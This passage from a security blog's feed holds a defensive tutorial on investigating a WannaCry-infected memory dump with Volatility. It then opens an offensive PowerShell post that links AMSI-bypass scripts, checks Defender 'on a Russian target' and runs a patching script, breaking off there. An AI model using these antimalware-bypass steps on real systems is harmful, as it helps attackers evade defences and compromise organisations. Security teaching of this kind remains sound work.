  505. <category><![CDATA[WannaCry]]></category>
  506. <guid isPermaLink="false">https://hackers-arise.com/?p=18593</guid>
  507.  
  508. <description><![CDATA[<p>Analyzing a memory dump after a ransomware attack with Volatility to find  processes, parent–child chains, injected code, and other valuable artifacts</p>
  509. <p>The post <a href="https://hackers-arise.com/digital-forensics-investigating-a-ransomware-attack/">Digital Forensics: Investigating a Ransomware Attack</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  510. <content:encoded><![CDATA[<p>Welcome back, aspiring forensic investigators! </p>
  511.  
  512.  
  513.  
  514. <p>We continue our practical series on digital forensics and will look at the memory dump of a Windows machine after a ransomware attack. Ransomware incidents are common, although they may not always be the most profitable attacks because they require a lot of effort and stealth. Some operations take months of hard work and sleepless nights and still never pay off. Many attackers prefer to steal data and sell it on the dark web. Such data sells well and quickly. State sponsored APTs act similarly. Their goal is to stay silent and extract as much intelligence as possible.</p>
  515.  
  516.  
  517.  
  518. <p>Today, a thousand unique entries of private information of Russian citizens cost about $100. That’s cheap. But it also shows how effective Ukrainian and foreign hackers are against Russia. All this raises demand for digital forensics and incident response, since fines for data leaks can be enormous. It’s not only fines that are a threat. Reputation damage is critical. If your competitor has never, at least yet, experienced a data breach and you did and it went public, trust in your company will start crumbling and customers will be inclined to use your competitors’ services. An even worse scenario is a ransomware attack that locks down much of your organization and wipes out your backups. Paying the attackers gives no guarantee of recovering your data, and some companies never manage to recover at all.</p>
  519.  
  520.  
  521.  
  522. <p>So let’s investigate one of those attacks and learn something new to stay sharp.</p>
  523.  
  524.  
  525.  
  526. <h2 class="wp-block-heading"><strong>Memory Analysis</strong></h2>
  527.  
  528.  
  529.  
  530. <p>It all begins with a memory dump. Here we already have a memory dump file of an infected machine that we are going to inspect.</p>
  531.  
  532.  
  533.  
  534. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="796" height="151" src="https://hackers-arise.com/wp-content/uploads/2025/10/1-memory-dump.webp" alt="showing the memory dump after a ransomware attack" class="wp-image-18594" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/1-memory-dump.webp 796w, https://hackers-arise.com/wp-content/uploads/2025/10/1-memory-dump-300x57.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/1-memory-dump-768x146.webp 768w" sizes="(max-width: 796px) 100vw, 796px" /></figure>
  535.  
  536.  
  537.  
  538. <h3 class="wp-block-heading"><strong>Installing Volatility</strong></h3>
  539.  
  540.  
  541.  
  542. <p>On our Kali machine we created a new Python virtual environment for Volatility. Keeping separate environments is good practice because it prevents tools from interfering with other dependencies. Sometimes installing one tool can break another. Here is how you do it:</p>
  543.  
  544.  
  545.  
  546. <p><code>bash$ &gt; python3 -m venv env_name</code></p>
  547.  
  548.  
  549.  
  550. <p><code>bash$ &gt; source env_name/bin/activate</code></p>
  551.  
  552.  
  553.  
  554. <p>Now we are ready to install Volatility in this environment:</p>
  555.  
  556.  
  557.  
  558. <p><code>bash$ &gt; pip3 install volatility3</code></p>
  559.  
  560.  
  561.  
  562. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="986" height="238" src="https://hackers-arise.com/wp-content/uploads/2025/10/2-installing-volatility.webp" alt="installing Volatility 3" class="wp-image-18595" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/2-installing-volatility.webp 986w, https://hackers-arise.com/wp-content/uploads/2025/10/2-installing-volatility-300x72.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/2-installing-volatility-768x185.webp 768w" sizes="(max-width: 986px) 100vw, 986px" /></figure>
  563.  
  564.  
  565.  
  566. <p>It is also good practice to record the exact versions of Volatility and Python you used (for example, <code>pip3 show volatility3</code> and <code>python3 --version</code>). Memory forensics tools change over time and some plugins behave slightly differently between releases. Recording versions makes your work reproducible later.</p>
  567.  
  568.  
  569.  
  570. <h3 class="wp-block-heading"><strong>Image Information</strong></h3>
  571.  
  572.  
  573.  
  574. <p>One of the first things we look at after receiving a memory dump is the captured metadata. The Volatility 3 command is simple:</p>
  575.  
  576.  
  577.  
  578. <p><code>bash$ vol -f infected.vmem windows.info</code></p>
  579.  
  580.  
  581.  
  582. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="409" src="https://hackers-arise.com/wp-content/uploads/2025/10/3-getting-the-image-info-and-metadate-of-the-capture-1024x409.webp" alt="getting the image info and metadata with Volatility 3" class="wp-image-18597" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/3-getting-the-image-info-and-metadate-of-the-capture-1024x409.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/3-getting-the-image-info-and-metadate-of-the-capture-300x120.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/3-getting-the-image-info-and-metadate-of-the-capture-768x307.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/3-getting-the-image-info-and-metadate-of-the-capture-1536x613.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/3-getting-the-image-info-and-metadate-of-the-capture.webp 1625w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  583.  
  584.  
  585.  
  586. <p>When you run <code>windows.info</code>, inspect the OS build, memory size, and timestamps shown by the capture tool. That OS build value helps Volatility pick the correct symbol tables. Incorrect symbols can cause missing or malformed output. This is especially important if you are working with Volatility 2. Also confirm the capture method and metadata such as who made the capture, when, and whether the capture was acquired after isolating the machine. Recording this chain-of-custody metadata is a small step that greatly strengthens any forensic report.</p>
  587.  
  588.  
  589.  
  590. <h3 class="wp-block-heading"><strong>Processes</strong></h3>
  591.  
  592.  
  593.  
  594. <p>The goal of the memory dump is to preserve processes, injections, and shellcode before they disappear after a reboot. That means we need to focus on the processes that existed at capture time. Let’s list them all:</p>
  595.  
  596.  
  597.  
  598. <p><code>bash$ &gt; vol -f infected.vmem windows.pslist</code></p>
  599.  
  600.  
  601.  
  602. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="408" src="https://hackers-arise.com/wp-content/uploads/2025/10/4-listing-active-processes-with-volatility-1024x408.webp" alt="listing the processes on the image with volatility 3" class="wp-image-18598" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/4-listing-active-processes-with-volatility-1024x408.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/4-listing-active-processes-with-volatility-300x120.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/4-listing-active-processes-with-volatility-768x306.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/4-listing-active-processes-with-volatility-1536x612.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/4-listing-active-processes-with-volatility.webp 1584w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  603.  
  604.  
  605.  
  606. <p>Suspicious processes are not always easy to spot. It depends on the attacker’s tactics. Ransomware processes, unlike persistence mechanisms, are often obvious because attackers tend to pick violent or alarming names for encryptors. But that’s not always the case, so let’s give our image a closer look.</p>
  607.  
  608.  
  609.  
  610. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="251" src="https://hackers-arise.com/wp-content/uploads/2025/10/5-finding-a-ransomware-process-1024x251.webp" alt="finding the ransomware process" class="wp-image-18599" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/5-finding-a-ransomware-process-1024x251.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/5-finding-a-ransomware-process-300x73.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/5-finding-a-ransomware-process-768x188.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/5-finding-a-ransomware-process.webp 1339w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  611.  
  612.  
  613.  
  614. <p>Among other processes, a ransomware process sticks out. You may also notice or4qtckT.exe and other processes with unknown names. Random executable names are not definitive proof of maliciousness, but they’re a reliable starting point for closer inspection. Some legitimate software may also generate processes with random names, for example, Dr.Web, a Russian antivirus.</p>
  615.  
  616.  
  617.  
  618. <p>When a process name looks random, check several things: the process parent, the process start time (did it start right before the incident?), open network sockets, loaded DLLs, and whether the executable exists on disk or only in memory. Processes that only exist in the RAM image (no matching file on disk) often indicate in-memory unpacking or fileless behavior. These are important signals in malware analysis. Use plugins like <code>windows.psscan</code><strong> </strong>(process scan) to find processes that <code>pslist</code><strong> </strong>might miss and <code>windows.pstree</code> to visualize parent/child relationships. Also check <code>windows.dlllist</code><strong> </strong>to see suspicious DLLs loaded into a process. Injected code often pulls suspicious DLL names or shows unnatural memory protections on executable pages.</p>
  619.  
  620.  
  621.  
  622. <h3 class="wp-block-heading"><strong>Parent Relationships</strong></h3>
  623.  
  624.  
  625.  
  626. <p>Once you find malware, your next step is to find its parent. A parent is the process that launches another process. This is how you unravel the attack by going back in the timeline. windows.pslist has two important columns: PID (process ID) and PPID (parent process ID). The parent of WanaDecryptor has PID 2732. We can quickly search and find it.</p>
  627.  
  628.  
  629.  
  630. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="210" src="https://hackers-arise.com/wp-content/uploads/2025/10/6-found-the-parent-1024x210.webp" alt="finding the parent of the ransomware process with volatility 3" class="wp-image-18600" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/6-found-the-parent-1024x210.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/6-found-the-parent-300x61.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/6-found-the-parent-768x157.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/6-found-the-parent.webp 1324w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  631.  
  632.  
  633.  
  634. <p>Now we know that the process with a random name or4qtckT.exe<strong> </strong>initiated WanaDecryptor. As it might not be the only process initiated by that parent, let’s grep its PID and find out:</p>
  635.  
  636.  
  637.  
  638. <p><code>bash$ &gt; vol -f infected.vmem windows.psscan | grep 2732</code></p>
  639.  
  640.  
  641.  
  642. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="150" src="https://hackers-arise.com/wp-content/uploads/2025/10/7-found-other-processes-initiated-by-the-parent-1024x150.webp" alt="finding other processes initiated by the parent" class="wp-image-18602" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/7-found-other-processes-initiated-by-the-parent-1024x150.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/7-found-other-processes-initiated-by-the-parent-300x44.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/7-found-other-processes-initiated-by-the-parent-768x112.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/7-found-other-processes-initiated-by-the-parent-1536x225.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/7-found-other-processes-initiated-by-the-parent.webp 1612w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  643.  
  644.  
  645.  
  646. <p>The parent process can show how the attacker entered the machine. It might be a user process opened by a phishing email, a scheduled task that ran at an odd hour, or a system service that got abused. Tracing parents helps you decide whether this was an interactive compromise (an attacker manually ran something) or an automated spread. If you see network-facing services as parents or child processes that match known service names (for example, svchost.exe variants), dig deeper. Some ransomware uses service abuse, scheduled tasks, or built-in Windows mechanisms to reach higher privileges or persistence.</p>
  647.  
  648.  
  649.  
  650. <h3 class="wp-block-heading"><strong>Handles</strong></h3>
  651.  
  652.  
  653.  
  654. <p>In Windows forensics, when we say we are &#8220;viewing the handles of a process,&#8221; we mean examining the internal references that a process has opened to system resources. A handle in Windows is essentially a unique identifier (a number) that a process uses to access an operating system object. Processes do not work directly with raw resources like files, registry keys, threads, or network connections. Instead, when a process needs access to something, it asks Windows to open that object, and Windows returns a handle. That handle acts like a ticket which the process can use to interact with the object safely.</p>
  655.  
  656.  
  657.  
  658. <p><code>bash$ &gt; vol -f infected.vmem windows.handles --pid 2732</code></p>
  659.  
  660.  
  661.  
  662. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="398" src="https://hackers-arise.com/wp-content/uploads/2025/10/8-found-handles-used-by-the-malware-1024x398.webp" alt="listing handles used by the malware in volatility 3" class="wp-image-18601" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/8-found-handles-used-by-the-malware-1024x398.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/8-found-handles-used-by-the-malware-300x117.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/8-found-handles-used-by-the-malware-768x299.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/8-found-handles-used-by-the-malware-1536x597.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/8-found-handles-used-by-the-malware.webp 1618w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  663.  
  664.  
  665.  
  666. <p>First, we see a user (hacker) directory. That should be noted for further analysis, because user directories contain useful evidence in <code>NTUSER.DAT</code><strong> </strong>and <code>USRCLASS.DAT</code>. These objects can be accessed after a full disk capture and will include thorough information about shares, directories, and objects the user accessed.</p>
  667.  
  668.  
  669.  
  670. <p>Inspecting the handles, we found an .eky file that was used to encrypt the system</p>
  671.  
  672.  
  673.  
  674. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="292" src="https://hackers-arise.com/wp-content/uploads/2025/10/9-found-eky-file-used-to-encrypt-the-system-1024x292.webp" alt="finding .eky file used to encrypt the system" class="wp-image-18603" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/9-found-eky-file-used-to-encrypt-the-system-1024x292.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/9-found-eky-file-used-to-encrypt-the-system-300x85.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/9-found-eky-file-used-to-encrypt-the-system-768x219.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/9-found-eky-file-used-to-encrypt-the-system.webp 1478w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  675.  
  676.  
  677.  
  678. <p>This .eky file contains the secret the attacker needed to lock files on the system. These keys are brought from the outside and are not native system objects. Obtaining this key does not guarantee successful decryption. It depends on what kind of key file it is and how it was protected.</p>
  679.  
  680.  
  681.  
  682. <p>When you find cryptographic artifacts in handles, copy the file bytes, if possible, and get the hashes (SHA-256) before touching them. Export them into an isolated analysis workstation. Then compare the artifact to public resources and sandbox reports. Not every key-like file is the private key you need to decrypt. Sometimes attackers include only a portion or an encrypted container that requires an additional password or remote secret. Public repositories and collective projects (for example, NoMoreRansom and vendor decryptors) may already have decryption tools for some ransomware families, so check there before calling data irrecoverable.</p>
  683.  
  684.  
  685.  
  686. <h3 class="wp-block-heading"><strong>Command Line</strong></h3>
  687.  
  688.  
  689.  
  690. <p>Now let’s inspect the command lines of the processes. Listing all command lines gives you more visibility to spot malicious behavior:</p>
  691.  
  692.  
  693.  
  694. <p><code>bash$ &gt; vol -f infected.vmem windows.cmdline</code></p>
  695.  
  696.  
  697.  
  698. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="312" src="https://hackers-arise.com/wp-content/uploads/2025/10/10-listed-the-command-line-of-the-processes-1024x312.webp" alt="listing the command line of the processes with volatility 3" class="wp-image-18604" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/10-listed-the-command-line-of-the-processes-1024x312.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/10-listed-the-command-line-of-the-processes-300x91.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/10-listed-the-command-line-of-the-processes-768x234.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/10-listed-the-command-line-of-the-processes-1536x467.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/10-listed-the-command-line-of-the-processes.webp 1620w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  699.  
  700.  
  701.  
  702. <p>You can also narrow it down to the needed PIDs or file names:</p>
  703.  
  704.  
  705.  
  706. <p><code>bash$ &gt; vol -f infected.vmem windows.cmdline | grep or4</code></p>
  707.  
  708.  
  709.  
  710. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="232" src="https://hackers-arise.com/wp-content/uploads/2025/10/11-listed-the-command-line-of-the-parent-1024x232.webp" alt="listing command line of te malware" class="wp-image-18605" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/11-listed-the-command-line-of-the-parent-1024x232.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/11-listed-the-command-line-of-the-parent-300x68.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/11-listed-the-command-line-of-the-parent-768x174.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/11-listed-the-command-line-of-the-parent.webp 1483w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  711.  
  712.  
  713.  
  714. <p>We can now see where the attack originated. After a successful compromise of a system or a domain, the attacker brought their malware to the system and encrypted it with their own keys.</p>
  715.  
  716.  
  717.  
  718. <p>The command line often contains the exact flags or network locations the attacker used (for example, -server 192.168.x.x or a path to an unpacker). Attackers sometimes use command-line switches to hide behavior, choose a configuration file, or provide a URL to download further payloads. If you can capture the command line, you often capture the attacker’s intent in plain text, which is invaluable evidence. Also check process environment variables, if those are available, because they might contain temporary filenames, credentials, or proxy settings the malware used.</p>
  719.  
  720.  
  721.  
  722. <h3 class="wp-block-heading"><strong>Getting Hashes</strong></h3>
  723.  
  724.  
  725.  
  726. <p>Obviously the investigation does not stop here. You need to extract the file from memory, calculate its hash, and inspect how the malware behaves on AnyRun, VirusTotal, and other platforms. To extract the malware we first need to find its address in memory:</p>
  727.  
  728.  
  729.  
  730. <p><code>bash$ &gt; vol -f infected.vmem windows.file | grep -i or4qtckT</code></p>
  731.  
  732.  
  733.  
  734. <p>Let’s pick the second hit and extract it now:</p>
  735.  
  736.  
  737.  
  738. <p><code>bash$ &gt; vol -f infected.vmem windows.dumpfiles --physaddr 0x1fcaf798</code></p>
  739.  
  740.  
  741.  
  742. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="291" src="https://hackers-arise.com/wp-content/uploads/2025/10/12-exported-the-malware-1024x291.webp" alt="extracting the malware from the memory for later analysis" class="wp-image-18606" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/12-exported-the-malware-1024x291.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/12-exported-the-malware-300x85.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/12-exported-the-malware-768x218.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/12-exported-the-malware.webp 1537w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  743.  
  744.  
  745.  
  746. <p>The ImageSection dump (.img) usually looks like the program that was running in memory. It can include changes made while the program was loaded, such as unpacked code or adjusted memory addresses. The DataSection dump (.dat), on the other hand, shows what the file looks like on disk, or at least part of it. That’s why there are two dumps with the same name. Volatility detected both the in-memory version and the on-disk version of or4qtckT.exe</p>
  747.  
  748.  
  749.  
  750. <p>Next we generate the hash of the DataSectionObject and look it up on VirusTotal:</p>
  751.  
  752.  
  753.  
  754. <p><code>bash$ &gt; sha256sum file.0x1fcaf798.0x85553db8.DataSectionObject.or4qtckT.exe.dat</code></p>
  755.  
  756.  
  757.  
  758. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="128" src="https://hackers-arise.com/wp-content/uploads/2025/10/13-got-the-hash-of-the-malware-1024x128.webp" alt="getting the file hash" class="wp-image-18607" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/13-got-the-hash-of-the-malware-1024x128.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/13-got-the-hash-of-the-malware-300x37.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/13-got-the-hash-of-the-malware-768x96.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/13-got-the-hash-of-the-malware.webp 1537w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  759.  
  760.  
  761.  
  762. <p>We recommend using robust hashing (SHA-256 instead of MD5) to avoid collision issues.</p>
  763.  
  764.  
  765.  
  766. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="381" src="https://hackers-arise.com/wp-content/uploads/2025/10/14-obtained-virus-total-report-1024x381.webp" alt="running the hash in VirusTotal" class="wp-image-18608" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/14-obtained-virus-total-report-1024x381.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/14-obtained-virus-total-report-300x112.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/14-obtained-virus-total-report-768x286.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/14-obtained-virus-total-report-1536x572.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/14-obtained-virus-total-report.webp 1725w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  767.  
  768.  
  769.  
  770. <p>For more information, go to Hybrid Analysis to get a detailed report on the malware’s capabilities.</p>
  771.  
  772.  
  773.  
  774. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="374" src="https://hackers-arise.com/wp-content/uploads/2025/10/15-got-the-hybrid-analysis-report-1024x374.webp" alt="Hybrid Analysis report of the WannaDecryptor" class="wp-image-18609" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/15-got-the-hybrid-analysis-report-1024x374.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/15-got-the-hybrid-analysis-report-300x109.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/15-got-the-hybrid-analysis-report-768x280.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/15-got-the-hybrid-analysis-report-1536x560.webp 1536w, https://hackers-arise.com/wp-content/uploads/2025/10/15-got-the-hybrid-analysis-report.webp 1568w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  775.  
  776.  
  777.  
  778. <p>Some platforms like VirusTotal, AnyRun, Hybrid Analysis, Joe Sandbox will produce behavioral reports, network traffic captures, and dropped files that help you map capabilities like network C2, persistence techniques, and whether the sample attempts to self-propagate. In our case, this sample has been found in online sandbox reports and is flagged with ransomware/WannaCry-like behavior. Sandbox summaries showed malicious activity consistent with file encryption and automated spread. When reading sandbox output, focus on three things: dropped files, outbound connections, and any use of legacy Windows features (SMB, WMI, PsExec) to move laterally.</p>
  779.  
  780.  
  781.  
  782. <h3 class="wp-block-heading"><strong>Practical next steps for the investigator</strong></h3>
  783.  
  784.  
  785.  
  786. <p>First, preserve the memory image and any extracted files exactly as you found them. Do not run suspicious samples on your analysis workstation unless it is fully isolated. Second, gather network indicators (IP addresses, domain names) and add them to your blocklists and detection rules. Third, check for related persistence mechanisms on disk and in registry hives, if you have the disk image. Scheduled tasks, <code>HKLM\Software\Microsoft\Windows\CurrentVersion\Run</code> entries, service modifications, and driver loads are common. Fourth, feed the sample hash and any dropped files into public repositories and vendor sandboxes. These can help you find other victims and understand the campaign’s breadth. Finally, document everything, every command and every timestamp, so you can later show how the evidence was acquired, processed, and analyzed. For memory-specific checks, run Volatility plugins such as <code>malfind</code><strong> </strong>(detect injection), <code>ldrmodules</code><strong> </strong>(module loads), <code>dlllist</code>, <code>netscan</code><strong> </strong>(network sockets), and registry plugins to inspect in-memory registry hives.</p>
  787.  
  788.  
  789.  
  790. <h2 class="wp-block-heading"><strong>Summary</strong></h2>
  791.  
  792.  
  793.  
  794. <p>Think of memory as the attacker’s black box. It often holds the fleeting traces disk images miss, things like unpacked code, live network sockets, and cryptographic keys. Prioritizing memory first allows you to catch those traces before they’re gone. Volatility can help you list running processes, trace parent–child chains, inspect handles and command lines. You can also dump in-memory binaries and use them as artifacts for a more thorough analysis. Submitting these artifacts to sandboxes will give you a clear picture of what happened on your network, which will give you valuable IOCs to prevent this attack and techniques used. As a forensic analyst you are required to preserve the image intact, work with suspicious files in an isolated lab, and write down every command and timestamp to keep the chain of custody reliable and actions repeatable.</p>
  795.  
  796.  
  797.  
  798. <p>If you need forensic assistance, we offer professional services to help investigate and mitigate incidents. Additionally, we provide classes on digital forensics for those looking to expand their skills and understanding in this field.</p>
  799.  
  800.  
  801.  
  802. <p></p>
  803.  
  804.  
  805.  
  806. <p>For more Memory Forensics, check out our upcoming Memory Forensics class.</p>
  807.  
  808.  
  809.  
  810. <p></p><p>The post <a href="https://hackers-arise.com/digital-forensics-investigating-a-ransomware-attack/">Digital Forensics: Investigating a Ransomware Attack</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  811. </item>
  812. <item>
  813. <title>PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover</title>
  814. <link>https://hackers-arise.com/powershell-for-hackers-privilege-escalation-and-organization-takeover/</link>
  815. <dc:creator><![CDATA[Co11ateral]]></dc:creator>
  816. <pubDate>Wed, 08 Oct 2025 14:49:57 +0000</pubDate>
  817. <category><![CDATA[Cybersecurity Tools]]></category>
  818. <category><![CDATA[Cyberwar]]></category>
  819. <category><![CDATA[Cyberwarrior]]></category>
  820. <category><![CDATA[Hacking]]></category>
  821. <category><![CDATA[Powershell]]></category>
  822. <category><![CDATA[Windows]]></category>
  823. <category><![CDATA[Active Directory]]></category>
  824. <category><![CDATA[AMSI bypass]]></category>
  825. <category><![CDATA[automation]]></category>
  826. <category><![CDATA[credential dumping]]></category>
  827. <category><![CDATA[domain takeover]]></category>
  828. <category><![CDATA[Evil-WinRM]]></category>
  829. <category><![CDATA[HACKING]]></category>
  830. <category><![CDATA[lateral-movement]]></category>
  831. <category><![CDATA[Mimikatz]]></category>
  832. <category><![CDATA[NTDS]]></category>
  833. <category><![CDATA[offensive-security]]></category>
  834. <category><![CDATA[OPSEC]]></category>
  835. <category><![CDATA[OSINT]]></category>
  836. <category><![CDATA[post-exploitation]]></category>
  837. <category><![CDATA[PowerShell]]></category>
  838. <category><![CDATA[PowerUp]]></category>
  839. <category><![CDATA[privilege escalation]]></category>
  840. <category><![CDATA[red-team]]></category>
  841. <category><![CDATA[SAM]]></category>
  842. <category><![CDATA[unquoted-service-path]]></category>
  843. <guid isPermaLink="false">https://hackers-arise.com/?p=18578</guid>
  844.  
  845. <description><![CDATA[<p>Use AMSI bypasses, Mimikatz, and PowerUp to escalate from a single foothold into full domain compromise</p>
  846. <p>The post <a href="https://hackers-arise.com/powershell-for-hackers-privilege-escalation-and-organization-takeover/">PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  847. <content:encoded><![CDATA[<p>Welcome back hackers! </p>
  848.  
  849.  
  850.  
  851. <p>For quite an extensive period of time we have been covering different ways PowerShell can be used by hackers. We learned the basics of reconnaissance, persistence methods, survival techniques, evasion tricks, and mayhem methods. Today we are continuing our study of PowerShell and learning how we can automate it for real hacking tasks such as privilege escalation, AMSI bypass, and dumping credentials. As you can see, PowerShell may be used to exploit systems, although it was never created for this purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that are usually done manually can be automated with the help of the scripts we are going to cover. Let’s start by learning about AMSI.</p>
  852.  
  853.  
  854.  
  855. <h2 class="wp-block-heading"><strong>AMSI Bypass</strong></h2>
  856.  
  857.  
  858.  
  859. <h3 class="wp-block-heading"><strong>Repo:</strong></h3>
  860.  
  861.  
  862.  
  863. <p><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell</a></p>
  864.  
  865.  
  866.  
  867. <p>AMSI is the Antimalware Scan Interface. It is a Windows feature that sits between script engines like PowerShell or Office macros and whatever antivirus or EDR product is installed on the machine. When a script or a payload is executed, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script-based attacks and malware. Hackers constantly try to find ways to keep malicious content from ever being presented to it, or to change the content so it won’t match detection rules. You will see many articles and tools that claim to bypass AMSI, but soon after they are released, Microsoft patches the vulnerabilities. Since it’s important to be familiar with this attack, let’s test our system and try to patch AMSI.</p>
  868.  
  869.  
  870.  
  871. <p>First we need to check if the Defender is running on a Russian target:</p>
  872.  
  873.  
  874.  
  875. <p><code>PS &gt; Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”</code></p>
  876.  
  877.  
  878.  
  879. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="170" src="https://hackers-arise.com/wp-content/uploads/2025/10/1-showing-the-defender-is-running-1024x170.webp" alt="checking if the defender is running on windows" class="wp-image-18579" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/1-showing-the-defender-is-running-1024x170.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/1-showing-the-defender-is-running-300x50.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/1-showing-the-defender-is-running-768x127.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/1-showing-the-defender-is-running.webp 1079w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  880.  
  881.  
  882.  
  883. <p>And it is. If it was off, we would not need any AMSI bypass and could jump straight to our explorations.</p>
  884.  
  885.  
  886.  
  887. <h3 class="wp-block-heading"><strong>Patching AMSI</strong></h3>
  888.  
  889.  
  890.  
  891. <p>Next, we start patching AMSI with the help of our script, which you can find at the following link:</p>
  892.  
  893.  
  894.  
  895. <p><a href="https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1">https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1</a></p>
  896.  
  897.  
  898.  
  899. <p>As you know by now, there are a few ways to execute scripts in PowerShell. We will use a basic one for demonstration purposes:</p>
  900.  
  901.  
  902.  
  903. <p><code>PS &gt; .\shantanukhande-amsi.ps1</code></p>
  904.  
  905.  
  906.  
